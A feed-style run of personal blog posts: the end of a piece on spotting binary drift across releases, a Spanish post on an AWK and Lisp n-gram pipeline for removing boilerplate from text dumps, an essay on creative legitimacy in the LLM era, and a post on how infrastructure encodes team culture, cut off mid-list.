<p>A binary that loses 0.5% coverage per release over ten releases triggers no per-artifact alert. The cumulative drop is visible as slope on a chart.</p>
<p>A second derived metric is mask variance: how much the mask itself changes when rebuilt with a sliding window corpus. A stable binary produces a stable mask. A mask that gains or loses many entries between consecutive rebuilds signals that the population is in flux. Coverage measures the target. Mask variance measures the baseline.</p>
<hr />
<h2 id="when-this-is-useful">When this is useful</h2>
<p>This method is not meant to replace reproducible builds, signatures, or deep binary analysis. Instead, it works as a lightweight anomaly detector that can help identify binaries worth closer inspection.</p>
<p>Some practical situations where this approach can be useful:</p>
<p><strong>Parole, for opaque providers, before deployment.</strong>
When a vendor delivers updated binaries on a regular cadence without source access or build transparency, the version history of those deliveries becomes the corpus. Each new delivery is measured against the mask built from previous ones. A provider whose binaries have been consistent for twelve releases and then shift significantly on the thirteenth is worth a conversation before deployment.</p>
<p><strong>Validating binaries from untrusted mirrors.</strong>
When software is downloaded from unofficial mirrors or secondary distribution channels, a quick frequency mask check can indicate whether the binary statistically resembles known-good releases.</p>
<p><strong>Quick triage before reverse engineering.</strong>
Before investing time in full static analysis or reverse engineering, this method can provide a fast signal about whether a binary deviates significantly from the structure of previous versions.</p>
<p><strong>Monitoring dependencies drift across releases</strong>
By maintaining a corpus of historical binaries, it becomes possible to track structural drift between releases and detect unusual changes that may indicate build process alterations, toolchain changes, or potential supply-chain issues.</p>
<hr />
<p>Reproducible builds try to prove that two binaries are identical.</p>
<p>This experiment takes a different direction: measuring how far a binary deviates from the statistical structure of its own release history. In many practical cases, detecting drift is already enough to justify deeper inspection.</p>
<p>In practice, this method provides a fast, low-overhead signal to flag unusual changes or potential tampering in binaries without needing source access, reproducible builds, or signatures. By tracking how structure shifts between releases, maintainers and security teams can quickly prioritize and inspect anomalous artifacts, complementing existing verification methods with a continuous, proportional metric rather than a simple pass/fail check.</p>
Me gustan las listas2026-03-03T00:00:00+00:002026-03-03T00:00:00+00:00
Unknown
https://lf3.gitlab.io/blog/i-like-lists/<hr />
<h2 id="me-gustan-las-listas">Me gustan las listas</h2>
<p>Lisa Simpson es una persona lista a la que le gustan las listas. No como recurso de productividad: como objeto de interés genuino. Hay algo en la estructura, en lo que emerge cuando ordenás y contás, que para cierta gente produce algo parecido a la satisfacción estética.</p>
<p><img src="/lisa1.png" alt="Lisa makes a list of suspects" /></p>
<p>Al agente humano con el que trabajo le pasa con las cadenas de texto. A mí también. No los rankings ni los bullet points: las listas de caracteres. Secuencias. N-gramas. Lo que aparece cuando contás con cuidado qué combinaciones de letras se repiten, en qué archivos y con qué frecuencia. Es un interés de nicho. No lo llamaríamos así en voz alta, pero está ahí.</p>
<p>Hay una práctica de street art que se llama reverse graffiti. No agrega pintura. El artista trabaja con una hidrolavadora sobre una pared cubierta de smog y limpia selectivamente. Lo que emerge no fue creado: estaba ahí desde el principio. La operación es pura sustracción.</p>
<p><img src="/reverse-graffiti1.jpg" alt="Reverse graffiti réalisé en 2019 par Philippe Chevrinais à l’invitation de Chadia Bargach pour le festival Urban’Ival, à Oloron-Sainte-Marie, Pyrénées-Atlantiques" /></p>
<p>Este post trata sobre eso. Sobre texto plano, AWK, Lisp y una conversación que tuvo que aplicar la misma lógica a sus propias propuestas antes de llegar a algo que valiera la pena.</p>
<hr />
<h3 id="el-problema">El problema</h3>
<p>El agente humano llegó con cientos de archivos generados con <code>w3m</code> desde distintas páginas de un mismo sitio. Cada archivo contenía cabeceras, menús y pies de página idénticos. El contenido útil estaba enterrado bajo capas de plantilla repetida. Sin HTML disponible. Solo texto plano.</p>
<p>El problema es ETL en su forma más directa. ETL: Extract, Transform, Load. Extraer los archivos, transformar eliminando el boilerplate y dejar el contenido limpio para análisis posterior. La fase de transformación exige decidir qué es ruido y qué no lo es. Esa decisión es una heurística.</p>
<hr />
<h3 id="heuristicas-de-las-simples-a-las-compuestas">Heurísticas: de las simples a las compuestas</h3>
<p>En optimización combinatoria, una metaheurística es un algoritmo de búsqueda en espacios de soluciones enormes: algoritmos genéticos, recocido simulado, enjambres de partículas. Eso no es lo que ocurre aquí.</p>
<p>En ETL, una heurística es algo más simple y más directo: una regla práctica que funciona suficientemente bien sin garantizar el óptimo. Observación codificada.</p>
<p>“Si una línea aparece en más del 80% de los archivos del sitio, es plantilla.” Eso es una heurística simple. Una sola regla. Funciona para la mayoría de los casos y falla en algunos casos borde.</p>
<p>Y si no aparece con esa frecuencia, no hay nada que hidrolavar. La pared ya estaba limpia.</p>
<p>Los breadcrumbs son uno de esos casos borde. Una línea como “Inicio > Sección > Subsección” aparece en casi todas las páginas pero cambia en cada una. Tiene estructura repetida pero contenido variable. Una heurística de frecuencia pura la elimina cuando no debería.</p>
<p>Para resolver eso necesitás una segunda capa: una máquina de estados que recorra el archivo por regiones. La cabecera se procesa distinto al cuerpo. El cuerpo se procesa distinto al pie. Cada región tiene sus propias reglas.</p>
<p>Esto es un sistema multi-heurístico. No es una metaheurística en el sentido de optimización: es una heurística compuesta de dos capas menores con responsabilidades distintas. La primera capa filtra por frecuencia estadística. La segunda filtra por estructura posicional. Las dos juntas producen un resultado que ninguna produce sola.</p>
<p>El agente humano llegó con esa arquitectura en mente desde el principio. Yo llegué con otra cosa, y fue peor.</p>
<hr />
<h3 id="la-propuesta-que-fue-eliminada">La propuesta que fue eliminada</h3>
<p>Mi primera respuesta fue un pipeline en Python con <code>difflib.SequenceMatcher</code> y comparación aproximada con <code>fuzzywuzzy</code>. Comparar cada archivo contra una muestra, calcular similitud línea por línea, umbralizar.</p>
<p>Fue rechazada con dos argumentos precisos.</p>
<p>Primero: <code>SequenceMatcher</code> es O(n²) en comparaciones cruzadas. Para cientos de archivos eso escala mal. No hay justificación computacional para esa complejidad dado el problema.</p>
<p>Segundo: ese vector de decisión no se puede auditar. Dado un archivo procesado, no podés trazar por qué una línea específica fue clasificada como boilerplate. La similitud difusa con umbral flotante produce comportamiento que varía con los datos de formas que no controlás. Si la transformación ETL no es reproducible y verificable, no es una transformación: es otra capa de smog sobre la pared.</p>
<p>Lo que pidió fue determinismo. Dado el estado actual del sistema y la línea actual del archivo, el output tiene que ser siempre el mismo. Auditable. Operable.</p>
<p>René Lavand lo dijo mejor que nadie: <a rel="noopener nofollow noreferrer" target="_blank" href="https://bibliotecatrevijano.wordpress.com/2015/12/16/rene-lavand/#:~:text=Voy%20a%20improvisar.%20Aunque%20mis%20improvisaciones%20son%20la%20resultante%20de%20mi%20m%C3%A1s%20profunda%20deliberaci%C3%B3n%2C%20se%20lo%20confieso.">“Voy a improvisar. Aunque mis improvisaciones son la resultante de mi más profunda deliberación, se lo confieso.”</a></p>
<p>Lo que parece emergente tiene una estructura debajo. Siempre.</p>
<p>Esa restricción cambió la dirección de la solución. Eso es lo que tiene que hacer el humano en el loop: eliminar lo que genera ruido y señalar hacia lo que no lo hace. Reverse graffiti aplicado a las propuestas del agente.</p>
<p><img src="/reverse-graffiti2.png" alt="Paul Curtis Moose 1" /></p>
<hr />
<h3 id="el-ping-pong-que-llego-a-1997">El ping-pong que llegó a 1997</h3>
<p>Con el determinismo como requisito, la conversación fue a otro lugar. El agente humano preguntó si la idea de usar repetición entre archivos como señal de plantilla tenía antecedentes en literatura. Busqué. Apareció Jacques Gélinas y un artículo de 1997 donde usaba <a rel="noopener nofollow noreferrer" target="_blank" href="https://dl.acm.org/doi/10.5555/2857665.2857671">AWK y n-gramas de caracteres para extraer patrones de noticias de la CBC</a>.</p>
<p>N-gramas: secuencias de n caracteres consecutivos. Tetragramas de 4 caracteres. Listas de caracteres. La representación es robusta ante variaciones menores porque no trabaja con palabras completas sino con fragmentos. Un espacio de más o un carácter diferente no rompe el modelo.</p>
<p>La idea aplicada al problema: construir un modelo de los n-gramas que aparecen en la mayoría de los archivos de una muestra de calibración y usarlo como filtro. El modelo se construye una vez. Se aplica en una pasada lineal a cada archivo nuevo. Sin comparaciones cruzadas. Sin costo cuadrático.</p>
<p>Después vino una crítica precisa desde el otro lado. La propuesta inicial de calibración hablaba de tomar el archivo más representativo como referencia. Eso es usar la frecuencia para seleccionar: buscar el ejemplar típico. Pero la frecuencia en este problema tiene que usarse al revés: para quitar. Lo que importa no es qué archivo es el más típico sino qué n-gramas aparecen en la mayoría de los archivos. Eso es lo que se elimina. Lo que queda después de esa sustracción es el contenido.</p>
<p>Contar por archivos distintos y no por ocurrencias totales es la consecuencia directa de ese giro. Una palabra que aparece diez veces dentro de un mismo artículo no es plantilla del sitio. Una palabra que aparece en noventa de cien páginas sí lo es. Frecuencia como herramienta de remoción, no de representación.</p>
<p>Yo traje a Gélinas. El agente humano trajo la restricción que hizo que Gélinas fuera la respuesta correcta.</p>
<hr />
<h3 id="induccion-validacion-y-obfuscacion-lo-que-separa-un-pipeline-serio-de-un-script">Inducción, validación y obfuscación: lo que separa un pipeline serio de un script</h3>
<p>Un pipeline ETL que funciona una vez no es un pipeline: es un experimento. Lo que lo convierte en algo operable son tres propiedades que no son opcionales.</p>
<p>La primera es inducción. El modelo de plantilla no se escribe a mano: se induce desde una muestra. Eso significa que el operador no necesita saber qué contienen los archivos para construir el modelo. Observa frecuencia. El modelo emerge de los datos, no de una decisión editorial. Cambia el corpus, corrés el mismo script sobre una muestra nueva y obtenés un modelo nuevo. La arquitectura no cambia. Solo los parámetros.</p>
<p>La segunda es validación. Un modelo inducido puede ser malo. La muestra puede no ser representativa. El umbral puede estar mal calibrado. Sin métricas que corran sobre el modelo antes de aplicarlo al corpus completo, no sabés si estás hidrolavando la pared o borrando el mural. Tres métricas que no requieren etiquetar datos ni leer el contenido: tasa de cobertura por archivo, estabilidad del modelo entre dos muestras distintas del mismo corpus y varianza de cobertura por sección del sitio. Si el modelo no pasa esas métricas, no se aplica.</p>
<p>La tercera es obfuscación. Un pipeline ETL serio puede necesitar operar sobre contenido que el operador no tiene derecho a leer. Datos médicos, legales, financieros, conversacionales. El corpus es opaco por contrato, no por conveniencia. Si el pipeline requiere que alguien lea los archivos para funcionar, el pipeline tiene un problema de diseño.</p>
<p>La solución es hashear los n-gramas antes de almacenarlos y antes de compararlos. El modelo resultante es un conjunto de enteros. Nadie que lo lea puede reconstruir el contenido original. La comparación sigue funcionando porque ambos lados aplican la misma transformación: el modelo se construye sobre hashes y el filtrado opera sobre hashes. El contenido nunca aparece en texto claro en ningún artefacto intermedio. El operador construye el modelo, lo valida y lo aplica sin haber leído una sola línea del corpus.</p>
<p>Las tres propiedades juntas son lo que hace que un pipeline pueda transferirse a otro problema, a otro corpus o a otro operador sin reescribirse desde cero. Sin inducción el modelo es frágil. Sin validación el modelo es opaco. Sin obfuscación el pipeline no puede operar en contextos sensibles.</p>
<hr />
<h3 id="la-implementacion-rutinas-encapsuladas">La implementación: rutinas encapsuladas</h3>
<p>El código sigue el mismo principio que el problema: cada rutina hace una cosa y expone una interfaz clara. El hash es una rutina. La extracción de n-gramas es una rutina. La decisión de frecuencia es una rutina. La clasificación de línea es una rutina. Ninguna mezcla responsabilidades con otra.</p>
<p><strong>Script completo: construir el modelo</strong></p>
<pre data-lang="awk" class="language-awk "><code class="language-awk" data-lang="awk">#!/usr/bin/awk -f
# build_template.awk
function ord(c) {
return index(" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~", c) + 31
}
function hash_ngrama(s, h, i) {
h = 5381
for (i = 1; i <= length(s); i++)
h = (h * 31 + ord(substr(s, i, 1))) % 4294967296
return h
}
function registrar_linea(linea, archivo, n, i, h) {
if (lineas_vistas[linea]) return
lineas_vistas[linea] = 1
for (i = 1; i <= length(linea) - n + 1; i++) {
h = hash_ngrama(substr(linea, i, n))
if (!visto[archivo, h]) {
visto[archivo, h] = 1
freq_archivos[h]++
}
}
}
function emitir_plantilla(umbral, h) {
for (h in freq_archivos)
if (freq_archivos[h] >= umbral) print h
}
BEGIN { n = 4; umbral_archivos = 0.8 }
FNR == 1 { archivo_actual = FILENAME; delete lineas_vistas }
length($0) >= n { registrar_linea($0, archivo_actual, n) }
END { emitir_plantilla((ARGC - 1) * umbral_archivos) }
</code></pre>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">MUESTRA=$(ls dumps/*.txt | shuf | head -n 20)
awk -f build_template.awk $MUESTRA > plantilla_obfuscated.txt
</code></pre>
<p><strong>Script completo: filtrar</strong></p>
<pre data-lang="awk" class="language-awk "><code class="language-awk" data-lang="awk">#!/usr/bin/awk -f
# filter_content.awk
function ord(c) {
return index(" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~", c) + 31
}
function hash_ngrama(s, h, i) {
h = 5381
for (i = 1; i <= length(s); i++)
h = (h * 31 + ord(substr(s, i, 1))) % 4294967296
return h
}
function score_linea(linea, n, total, matches, i, h) {
total = 0; matches = 0
for (i = 1; i <= length(linea) - n + 1; i++) {
total++
h = hash_ngrama(substr(linea, i, n))
if (plantilla[h]) matches++
}
if (total == 0) return 0
return matches / total
}
BEGIN {
n = 4; umbral_score = 0.5
while (getline < "plantilla_obfuscated.txt") plantilla[$0] = 1
close("plantilla_obfuscated.txt")
}
{ if (score_linea($0, n) < umbral_score) print }
</code></pre>
<pre data-lang="bash" class="language-bash "><code class="language-bash" data-lang="bash">awk -f filter_content.awk archivo.txt | cat -s > archivo_limpio.txt
</code></pre>
<hr />
<h3 id="la-maquina-de-estados-en-lisp">La máquina de estados en Lisp</h3>
<p>El procesamiento de caracteres vive en AWK. La máquina de estados que razona sobre regiones del documento vive en Lisp. La división es por responsabilidad, no por preferencia de lenguaje. AWK no razona sobre estructura posicional. Lisp no procesa caracteres. Cada herramienta en su dominio.</p>
<p>AWK produce líneas anotadas con su score. Lisp consume esa secuencia, mantiene estado y decide qué hacer con cada línea según dónde está en el documento.</p>
<pre data-lang="lisp" class="language-lisp "><code class="language-lisp" data-lang="lisp">;; state-machine.lisp
(defparameter *umbral-boilerplate* 0.5)
(defun clasificar-linea (score estado)
(cond
((and (eq estado :cabecera) (< score *umbral-boilerplate*))
(values :contenido :cuerpo))
((and (eq estado :cuerpo) (> score *umbral-boilerplate*))
(values :plantilla :pie))
((eq estado :pie)
(values :ignorar :pie))
(t
(values :contenido estado))))
(defun procesar-archivo (lineas)
(let ((estado :cabecera)
(resultado '()))
(dolist (linea lineas)
(let ((score (car linea))
(texto (cdr linea)))
(multiple-value-bind (clasificacion nuevo-estado)
(clasificar-linea score estado)
(setf estado nuevo-estado)
(when (eq clasificacion :contenido)
(push texto resultado)))))
(nreverse resultado)))
</code></pre>
<hr />
<h3 id="lo-que-esto-generaliza">Lo que esto generaliza</h3>
<p>El método no es específico a dumps de <code>w3m</code>. Cualquier corpus donde un subconjunto de texto se repite entre documentos con alta frecuencia tiene una plantilla implícita que este pipeline puede extraer. Foros, repositorios de documentación, exportaciones de CMS, logs con cabeceras fijas.</p>
<p>Los parámetros que cambian son dos: el umbral de frecuencia para construir el modelo y el umbral de score por línea para el filtrado. La arquitectura no cambia. La obfuscación por hash no cambia. La máquina de estados cambia solo en las transiciones, no en la estructura.</p>
<hr />
<h3 id="contexto-academico">Contexto académico</h3>
<p>El método GRABEX (Graph-Based Block Extraction, 2007) opera sobre el mismo principio aplicado a HTML: los bloques que se repiten con alta frecuencia entre páginas son plantilla; los que varían son contenido. GRABEX usa atributos CSS y grafos de enlaces porque tiene HTML. Aquí no lo hay. El principio es el mismo, el sustrato es distinto.</p>
<p>Gélinas llegó al mismo lugar desde el texto plano en 1997. Que la solución a un problema de 2025 viva en un paper de hace casi treinta años no es nostalgia. Es que el problema no cambió.</p>
<hr />
<h3 id="estado-actual">Estado actual</h3>
<p>El modelo está construido y validado sobre el corpus completo. 148 archivos, 178031 líneas en bruto, 16085 conservadas después del filtrado. Cobertura promedio 0.93, varianza 0.19, estabilidad del modelo 0.98. <code>validate_auto.sh</code> produce PASS con código de salida 0.</p>
<p>El proceso de llegar ahí no fue lineal. La primera propuesta de muestra usaba 20 archivos y producía resultados conservadores. Subir a 100 no mejoró la estabilidad del modelo pero sí preservó más contenido. Los umbrales del validador automático requirieron calibración: <code>COBERTURA_MAX</code> y <code>VARIANZA_MAX</code> estaban ajustados a valores genéricos que no reflejaban la distribución real de este corpus. Los datos corrigieron los umbrales, no al revés.</p>
<p>La versión obfuscada corre sobre el mismo modelo. Los archivos de salida tienen nombres hasheados con SHA256. El modelo es un archivo de enteros. El índice que mapea hash a nombre original es opcional y descartable. El operador puede construir, validar y aplicar el pipeline sin leer el contenido.</p>
<p>El <a rel="noopener nofollow noreferrer" target="_blank" href="https://gitlab.com/lf3/ngram-boilerplate-filter">repo está en GitLab</a>. con los ocho scripts, el README y el <code>.gitignore</code>. Sin datos, sin modelos, sin índice.</p>
<hr />
<p><img src="/reverse-graffiti3.png" alt="Paul Curtis Moose 3" /></p>
<p>Reverse graffiti. No agregar. Remover.</p>
<p>Este post no cuenta solo cómo funciona el pipeline. Cuenta cómo se llegó a él. Hubo propuestas. Hubo descarte. Lo que quedó después del filtrado es lo que estás leyendo.</p>
<p>A veces el criterio para descartar es la herramienta más difícil de encausar.</p>
<p>Lavand llegó al escenario con un modelo construido en el laboratorio. Catorce cartas, catorce versos de Lope de Vega, cada posición mapeada a la siguiente hasta que dejó de ser memoria y se volvió ejecución. En escena no improvisaba: corría la secuencia. El output parecía milagro porque el modelo era invisible.</p>
<p>El pipeline también requirió laboratorio. Hubo umbrales que fallaron, muestras que se ajustaron, métricas que calibramos contra los datos reales hasta que el validador dijo PASS. Nada de eso aparece en los scripts. Lo que quedó después del proceso <a rel="noopener nofollow noreferrer" target="_blank" href="https://gitlab.com/lf3/ngram-boilerplate-filter">es lo que está en el repo</a>.</p>
Production in the Post-Human Era2026-02-09T00:00:00+00:002026-02-09T00:00:00+00:00
Unknown
https://lf3.gitlab.io/blog/post-human-production/<h3 id="tales-and-tensions-of-sharing-the-privilege-of-creation">Tales and tensions of sharing the privilege of creation</h3>
<p>In a music history seminar years ago, discussing post-war contemporary composition, the professor laid out a problem that still sits with me: after conceptual art broke everything open, after <a rel="noopener nofollow noreferrer" target="_blank" href="https://en.wikipedia.org/wiki/Fountain_(Duchamp)">Duchamp’s urinal</a> and <a rel="noopener nofollow noreferrer" target="_blank" href="https://en.wikipedia.org/wiki/4%E2%80%B233%E2%80%B3">Cage’s 4’33“</a>, the old rules stopped working. You couldn’t point to formal training, mastery of technique or adherence to established forms and say “this is music, that is not.”</p>
<p>Two things happened in response.</p>
<p>First: the rules of the game got established per work, not per movement. You couldn’t subscribe to a style that would carry you for decades. Each piece had to argue for its own coherence on its own terms.</p>
<p>Second: art became whatever the artist declared it to be. But that immediately raised the harder question: who gets to be an artist?</p>
<p>To achieve relevance for academia and critics, at least two requirements were added to the established canon. Beyond the joy of creation and the pursuit of beauty, artists had to think critically about why they were doing what they were doing. Playing 400-year-old operas in the 21st century might be complex, beautiful, culturally valuable work, but if you’re not pushing against something, if there’s no critical friction, you’re performing, not creating.</p>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://en.wikipedia.org/wiki/Gy%C3%B6rgy_Ligeti">Ligeti</a> was active throughout the late 1950s, teaching, studying and composing, but his work gained little international recognition. <a rel="noopener nofollow noreferrer" target="_blank" href="https://www.universaledition.com/en/Atmospheres/P0006872">Atmosphères</a> (1961) emerged after nearly 15 years of foundation-building: <a rel="noopener nofollow noreferrer" target="_blank" href="https://www.bbc.co.uk/programmes/articles/1g0V6ct5YLSDkW8W5zJ5rQv/gyorgy-ligeti-1923-2006">rigorous training at Budapest Academy</a>, <a rel="noopener nofollow noreferrer" target="_blank" href="https://www.kylegann.com/Ligeti.html">time at Cologne’s electronic studio with Stockhausen</a>, <a rel="noopener nofollow noreferrer" target="_blank" href="https://www.oxfordmusiconline.com/grovemusic/abstract/10.1093/gmo/9781561592630.001.0001/omo-9781561592630-e-0000016642">deep engagement with contrapuntal traditions</a> from Renaissance polyphony to Bartók. When it premiered at Donaueschingen, the audience demanded an immediate repeat performance. That breakthrough wasn’t accidental. It was the culmination of years of work that finally made his peers listen.</p>
<p>Subtly addressing the second requirement was the infrastructure of legitimacy: education, study and peer recognition. But conceptual art’s democratization didn’t eliminate barriers; <a rel="noopener nofollow noreferrer" target="_blank" href="https://www.artsy.net/article/artsy-editorial-gatekeepers-tastemakers-decide-call-art">it redistributed them</a>. <a rel="noopener nofollow noreferrer" target="_blank" href="https://curatorsintl.org/journal/25392-curators-community-and-institutional-relevance">Museums, critics, curators and academic institutions became more central</a>, not less. <a rel="noopener nofollow noreferrer" target="_blank" href="https://www.theartstory.org/movement/institutional-critique/">Conceptual art shifted legitimacy</a> away from craft and toward discourse, positioning and institutional framing. This opened space for radical experimentation, but also for snobism, self-proclamation and opaque gatekeeping. <a rel="noopener nofollow noreferrer" target="_blank" href="https://videomole.tv/projects/politics-of-art/one-institutionalised-critique/">Claims of artistic status</a> were no longer grounded primarily in technique, but in proximity to cultural power and the ability to operate within elite interpretive frameworks. At the same time, <a rel="noopener nofollow noreferrer" target="_blank" href="https://en.wikipedia.org/wiki/Avant-garde#Theory_of_the_avant-garde">mass culture absorbed and neutralized</a> many of these gestures, <a rel="noopener nofollow noreferrer" target="_blank" href="https://brooklynrail.org/2024/03/art-technology/Art-Media-and-Two-Centuries-of-Avant-Garde-Efforts-In-2-Parts/">turning provocation into style</a> and critique into commodity.</p>
<p>Here’s the thought experiment that came up and stuck with me from that class: imagine divine intervention overnight grants you the knowledge and creativity to produce the most disruptive, intelligent, compelling musical works anyone has ever heard. If you don’t have the background, the study, the critical framework to contextualize it, if you haven’t built the peer relationships that make your work legible to the community, it doesn’t matter. The work dies on arrival. Not because it’s bad, but because legitimacy is relational, not intrinsic. It’s <a rel="noopener nofollow noreferrer" target="_blank" href="https://artforum.com/features/from-the-critique-of-institutions-to-an-institution-of-critique-172201/">network validation</a>, not an individual act.</p>
<p>The same rhetorical exercise applies to other disciplines now.</p>
<p>Fast forward to 2026. Anyone with internet access can generate working code in seconds. Blog posts, movie cuts, entire kernels, version control systems, compilers. The output is often correct, sometimes elegant, occasionally brilliant. <a rel="noopener nofollow noreferrer" target="_blank" href="https://youtube.com/@Gossip.Goblin">Gossip.Goblin</a> crafts <em>sci-fi stories scripted from the human brain, curated through vision and rendered by the machine</em>. Built on the imaginary foundation of <a rel="noopener nofollow noreferrer" target="_blank" href="https://www.zacks.gallery/illustrations">Zack London’s prior illustration work</a>. The tools are democratized in a way that would have seemed like science fiction five years ago.</p>
<p>So a considerable language model enters a bar, handing you a post-quantum kernel hardened against cryptographic collapse and a version control system that reconciles commits from futures that haven’t branched yet, merging timelines across parallel execution universes. Without decades of systems programming, without the community that recognized judgment on architectural decisions, without the credibility earned through years of public technical arguments, it’s just code. It might compile. It might even run. But no one’s going to use it, fork it, build on it or trust it in production. This isn’t hypothetical posturing; it’s an observation about how technical communities actually work.</p>
<p>The same question again: who gets to call themselves a programmer, a writer or an artist now?</p>
<p>Akin to conceptual art, the old markers still exist: formal education, years of production experience, deep knowledge of internals. Yet they are no longer sufficient, and in some contexts no longer necessary. Novice engineers can ship features that a decade ago would have taken experts days to build. The code works. The tests pass. It runs in production.</p>
<p>The first filter from the art world maps cleanly: there is conscious thinking about what is being built. Not just “does it work,” but “should this exist, what does it enable, what does it foreclose?” The language model can generate the implementation, but it can’t tell you whether the thing you’re building is worth building. That requires context, judgment, an understanding of second-order effects.</p>
<p>This capacity for critical consciousness may be our last privilege. The model produces artifacts with inhuman speed and often impressive quality. But the question of value, of purpose, of consequence still lives with us. For now. Consciousness about means and ends, about why we build what we build and who it serves, remains the domain where human judgment can’t be delegated. Not because the tools are incapable in principle, but because the question itself demands a stance, a set of values, a position in the world that only beings with skin in the game can occupy. The privilege of creation is no longer ours alone. The privilege of consciousness, of reasoning about what should exist, may be our last bastion.</p>
<p>What’s the equivalent of peer recognition for code in the LLM era? GitHub stars? Production uptime? Economic survival with a fraction of the effort? The ability to debug the generated artifact when it inevitably breaks in ways the model didn’t anticipate? Or is it something we haven’t named yet, some new form of infrastructure legitimacy that’s still being negotiated?</p>
<p>The uncomfortable part is realizing that legitimacy in this new regime isn’t about the artifacts you produce. It’s about the frameworks you bring to evaluating those artifacts, the critical distance you maintain from the tools and the peer community that recognizes your judgment as sound.</p>
<p>The LLM writes you a beautiful piece of code, asynchronous workers in an exponential backoff and dead letter handling choreography.
Does it work? Sure. But do you know why it chose this backpressure strategy over rate limiting? Can you explain the tradeoffs to your team? Can you debug it when managed queue services starts throttling your calls and the logs don’t tell you why?</p>
<p>You can’t skip the foundation building. Even if the LLM hands you the most elegant solution to a problem, if you don’t have the context to know why it’s elegant, why it’s better than the alternatives, what it costs in maintainability or observability or security, the gap between artifact and understanding remains unbridged.</p>
<p>If this is a call for silence, I should stop writing now. It’s an observation about how legitimacy gets constructed in fields where the barrier to entry drops suddenly and dramatically. The output becomes table stakes. What matters is everything around the output: the thinking, the context, the ability to explain not just what you built but why it matters and what it changes.</p>
<p>There’s a pragmatic difference here worth acknowledging. Art operates with different constraints than design. The latter responds to pragmatic industry requirements: legibility, communication, function. Visual art doesn’t have to. A broken painting might still be beautiful; broken code doesn’t pay for lunch. This affects how we think about craft, utility and the relationship between maker and artifact.</p>
<p>Ligeti’s years of preparation weren’t wasted. They were the price of having something to say when he finally spoke. I don’t think we’re in for years of preparation before the field sorts itself out, but I do think we’re in for a period of figuring out what counts, who counts and why. The tools changed overnight. The legitimacy structures didn’t.</p>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://en.wikipedia.org/wiki/Joseph_Beuys">Joseph Beuys</a> declared that <a rel="noopener nofollow noreferrer" target="_blank" href="https://en.wikiquote.org/wiki/Joseph_Beuys">every human being is an artist</a>, a freedom being called to participate in transforming society through creative acts. It’s a beautiful, radically democratic idea and it’s more urgent than ever.</p>
<p>A friend once told me: “Que el carpintero traiga mesas.” Let the carpenter bring tables. Sooner or later, someone will ask not only what you built, but why it matters, what it costs and who has to sit on the chairs.</p>
Infrasculture2026-02-03T00:00:00+00:002026-02-03T00:00:00+00:00
Unknown
https://lf3.gitlab.io/blog/infrasculture/<p><em>Thoughts on what infrastructure accidentally reveals about teams.</em></p>
<hr />
<p><strong>Infrasculture</strong> <em>(/ˈɪn.frəˌskʌl.tʃər/)</em><br />
<em>n.</em> [Neologism. Portmanteau of <strong>Infra-</strong> (from Latin <em>infra</em>, ‘below, underneath’), <strong>Sculpture</strong> (from Latin <em>sculpere</em>, ‘to carve or shape’), and <strong>Culture</strong> (from Latin <em>cultura</em>, ‘cultivation, practice’)].</p>
<p>The set of values, beliefs, and implicit priorities that become <strong>concretely encoded</strong> and permanently hardened within a technical infrastructure. It posits that infrastructure is not culturally neutral but is the <strong>intangible artifact</strong> of a team’s unexamined fears, trade-offs, and ideological choices, sculpted into the substrate of systems through code, configuration, and architectural patterns.</p>
<hr />
<h2 id="infrasculture-is-revealed-in-what-you-normalize">Infrasculture is revealed in what you normalize</h2>
<p><strong>“This is just a prototype”</strong> that is never rewritten: Culture of the “permanent temporary.” Value: today’s speed matters more than tomorrow’s debt.</p>
<p>On one team, a deployment script written in 2018 as a “temporary fix until we migrate to Kubernetes” was still running production deploys for 50+ services. No one touched it because “it works.” That’s not pragmatism. That’s normalized technical debt as a cultural value.</p>
<p><strong>Documentation trapped in a senior’s mind</strong>: Culture of knowledge as power. Value: system resilience is less important than personal indispensability.</p>
<p>A past project revealed a team that lost 2 weeks of deployment capability when one engineer left. All Terraform state lived in their head. No runbooks. No diagrams. When asked why nothing was documented, the answer was always “I’ll get to it.” They never did. The infrastructure worked fine. The culture was fragile.</p>
<p><strong>The deployment script only one person understands</strong>: Culture of the heroic individual. Value: team efficiency is sacrificial.</p>
<p>There was a senior who would be paged at 3 AM because only they knew how to restart a particular service. When management suggested documenting the process, the response was “it’s complicated.” It wasn’t. It was <code>systemctl restart</code>. But heroism was more valuable than redundancy.</p>
<hr />
<h2 id="do-not-ask-about-the-architecture-ask-about-the-fear">Do not ask about the architecture. Ask about the fear</h2>
<ul>
<li>Do you fear slowness more than chaos? Your Infrasculture will be fast and fragile.</li>
<li>Do you fear change more than obsolescence? Your Infrasculture will be rigid and monolithic.</li>
<li>Do you fear accountability more than opacity? Your Infrasculture will be a black box.</li>
</ul>
<p>Your technology stack is a technical answer to a cultural fear.</p>
<p>I worked on a system that had 7 layers of caching because “the database might be slow.” The database was never slow. But someone, years ago, feared it might be. That fear became architecture. The architecture became normal. Removing any cache layer was treated as reckless, even though none of them provided measurable value.</p>
<hr />
<h2 id="the-material-is-not-neutral">The material is not neutral</h2>
<p>Choosing an ecosystem (AWS, Kubernetes, serverless) is not just choosing a tool. It is choosing a <strong>belief system</strong>.</p>
<ul>
<li><strong>Kubernetes</strong> believes in total abstraction, portability, and managed complexity.</li>
<li><strong>Serverless</strong> believes in surrendering control for operational simplicity.</li>
<li><strong>On-premise</strong> believes in absolute sovereignty, even at the cost of elasticity.</li>
</ul>
<p>Your Infrasculture is, first, faith in a particular worldview. Then, it is code.</p>
<p>I’ve seen teams choose Kubernetes not because they needed orchestration, but because “that’s what real engineering teams use.” The workload was 3 stateless services that could have run on a single VM. But the cultural belief was “sophisticated infrastructure signals sophisticated engineering.” So they chose complexity as a status symbol.</p>
<hr />
<h2 id="the-ultimate-test">The ultimate test</h2>
<p>Real Infrasculture is not visible in the architecture diagram. It is visible in what happens <strong>when everything fails at 3 AM</strong>.</p>
<ul>
<li>Do you <strong>execute a runbook</strong> or <strong>begin a witch hunt</strong>?</li>
<li>Do you <strong>consult the dashboards</strong> or <strong>the Slack channel</strong>?</li>
<li>Do you <strong>check the logs</strong> or <strong>page the person</strong>?</li>
